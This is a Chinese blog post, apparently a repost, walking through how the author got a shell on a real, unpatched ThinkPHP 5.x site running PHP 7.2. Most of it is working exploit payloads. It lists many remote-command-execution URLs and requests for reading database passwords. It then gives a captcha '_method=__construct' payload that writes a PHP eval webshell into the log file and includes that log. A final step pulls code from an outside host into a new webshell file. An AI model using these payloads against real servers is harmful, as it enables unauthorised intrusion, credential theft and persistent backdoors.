thinkPHP 5X 在PHP7以上环境下的 GETSHELL

原文:

https://www.mrwu.red/web/3348.html

起因

thinkPHP 的命令执行漏洞已经过去好一阵子了,然而还有许多站并没有修复这个漏洞,今天恰巧让我遇到这么一个,

但是因为目标 PHP 版本是 7.2.14 导致 GETSHELL 变的异常麻烦,在各种折腾下最终成功,记录分享一波~

GETSHELL 过程

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/think\config/get&name=database.hostname

?s=index/think\config/get&name=database.password

?s=index/\think\Request/input&filter=system&data=id

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上这些方法全部行不通,不过在用下面这个方法却能成功显示 phpinfo

/index.php?s=captcha

 

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

说明有戏,可以试试,禁用了很多函数,经过各种查阅文档和尝试,最终通过下面的方法 GETSHELL

1.写入 shell 到日志文件中

/?s=captcha

_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[1337]); ?>

2.包含日志文件 GETSHELL

/?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log

其实这一步就已经可以结束了,但是由于一句话和日志混在一起的,日志又基本很大,导致很麻烦,所以我们还需要在来一个步骤

3.通过一句话 copy 新一句话文件

/?s=captcha

 

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&1337=echo copy("https://www.mrwu.red/1.txt","/www/wwwroot/test.xxxx.cn/2.php");

这样的话,这个 2.PHP 文件中的内容就是我们 1.txt 中的内容,没有其他乱七八糟的东西,舒爽多了.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值